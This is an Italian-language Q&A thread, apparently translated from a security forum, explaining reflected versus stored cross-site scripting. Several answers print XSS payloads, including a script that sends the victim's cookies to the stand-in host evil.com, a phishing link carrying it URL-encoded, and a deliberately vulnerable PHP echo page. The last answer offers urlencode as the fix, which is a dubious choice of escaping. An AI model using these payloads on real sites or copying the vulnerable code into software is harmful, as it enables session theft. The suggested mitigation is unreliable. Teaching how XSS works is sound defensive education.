Che cos'è l'XSS riflesso?

24

Stufo della seguente definizione.

Gli attacchi riflessi sono quelli in cui lo script iniettato viene riflesso dal server Web, ad esempio in un messaggio di errore, risultati di ricerca o qualsiasi altra risposta che include parte o tutti gli input inviati al server come parte della richiesta. Gli attacchi riflessi vengono consegnati alle vittime tramite un'altra rotta, ad esempio in un messaggio di posta elettronica o su un altro sito Web. Quando un utente viene indotto a fare clic su un link dannoso, a inviare un modulo appositamente predisposto o anche a navigare su un sito dannoso, il codice inserito si sposta sul sito Web vulnerabile, che riflette l'attacco sul browser dell'utente. Il browser esegue quindi il codice perché proviene da un server "attendibile"

Qualcuno può spiegarmi con un esempio. E qual è la principale differenza tra Reflected XSS e Stored XSS?

    
posta user3273796 11.08.2014 - 18:39
fonte

5 risposte

36

Supponiamo che navighi su www.example.com/page?main.html e ti metta sulla pagina principale di example.com. Ora vai all'indice, che si trova su www.example.com/page?index.html. Cominci a chiedermi quali altre pagine ci sono?

Quindi scrivi www.example.com/page?foo e premi invio, e ricevi una pagina di errore che dirà qualcosa come "Risorsa non trovata".

La cosa da notare qui è che hai inserito un parametro nell'URL e quel parametro ti è stato restituito come utente. In questo caso, era il parametro "pippo".

Ora l'idea alla base dell'XSS dovrebbe essere un po 'più chiara; invece di inserire un parametro lame come "foo", inserisci qualcosa come <script>alert(1)</script>foo e premi invio. Su un sito vulnerabile, l'intero parametro verrà iniettato nella pagina di errore che si apre, verrà eseguito il javascript e verrà visualizzato un popup oltre al messaggio "Resource foo non trovato". Se puoi indurre qualcun altro a navigare sullo stesso link che hai creato, puoi eseguire javascript arbitrario nella loro sessione.

    
risposta data 12.08.2014 - 20:23
fonte
22

XSS riflesso

Invio a una vittima un link a http://example.com/page?var=<script>alert('xss')</script> e da qualche parte sulla pagina tale valore viene riportato alla vittima. Il valore è solo sulla pagina se seguono il mio link speciale.

Lo svantaggio di questo tipo è che devo attaccare in modo specifico una vittima o un gruppo di vittime che posso fare clic su un link. Potrebbe essere difficile convincere un'altra persona a seguire il tuo link.

XSS memorizzato

Trovo un modo per far sì che un sito Web mantenga <script>alert('xss')</script> per qualche tempo, magari nel database. Quindi posso inviare la vittima a http://example.com/page e legge il valore dal database e lo presenta alla vittima.

L'aspetto positivo di questo tipo è che attaccherà tutti coloro che visualizzeranno la pagina.

    
risposta data 11.08.2014 - 19:05
fonte
10

Per entrambi i tipi di XSS, considera uno snippet di javascript come questo:

<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

Se un hacker può ottenere questo rendering su un altro sito, può raccogliere tutti i cookie dell'utente per qualsiasi vittima che carica tale pagina su quel sito. XSS riflesso e XSS memorizzato (o XSS persistente) sono due metodi diversi per ottenere questo script in un sito vulnerabile.

  • XSS riflesso: lo script stesso viene passato come parametro di richiesta ad alcune parti vulnerabili del sito e il sito esegue il rendering del javascript sulla pagina.
  • XSS memorizzato - il javascript viene memorizzato deviantamente nella pagina stessa a lungo termine.

Esempio XSS riflesso

Sono un hacker e invio un'e-mail phish con il seguente corpo.

Check this out: http://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

dove il valore della parola chiave param decodifica lo snippet javascript di cui sopra. Quando la vittima fa clic sul link, weak-site.com mostra una pagina con lo script incorporato. Il browser reindirizza la vittima al sito dell'hacker e consegna il cookie della vittima da weak-site.com.

Esempio XSS memorizzato

Sono un hacker e creo un post sul blog su weak-site.com con il seguente contenuto:

LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

Se il sito restituisce il mio post intatto, posso raccogliere il valore del cookie di ogni utente che visualizza il mio post.

    
risposta data 31.10.2015 - 00:20
fonte
2

Una spiegazione molto semplice:

XSS riflesso : il carico utile di attacco è incluso in un parametro quando la vittima segue un URL del sito.

XSS memorizzato : il carico utile di attacco è memorizzato nel sito stesso e quando qualcuno visita la pagina, indipendentemente dall'URL seguito, l'attacco viene eseguito.

    
risposta data 12.08.2014 - 18:29
fonte
0

Meglio dare esempi invece di scrivere.

POC XSS riflettente

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . $input;
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

Come evitare? Risposta: La cosa più semplice è usare la funzione urlencode di PHP.

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . urlencode($input);
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

La differenza è l'uso della funzione urlencode che è stata usata nel secondo codice.

    
risposta data 09.05.2017 - 18:35
fonte

Leggi altre domande sui tag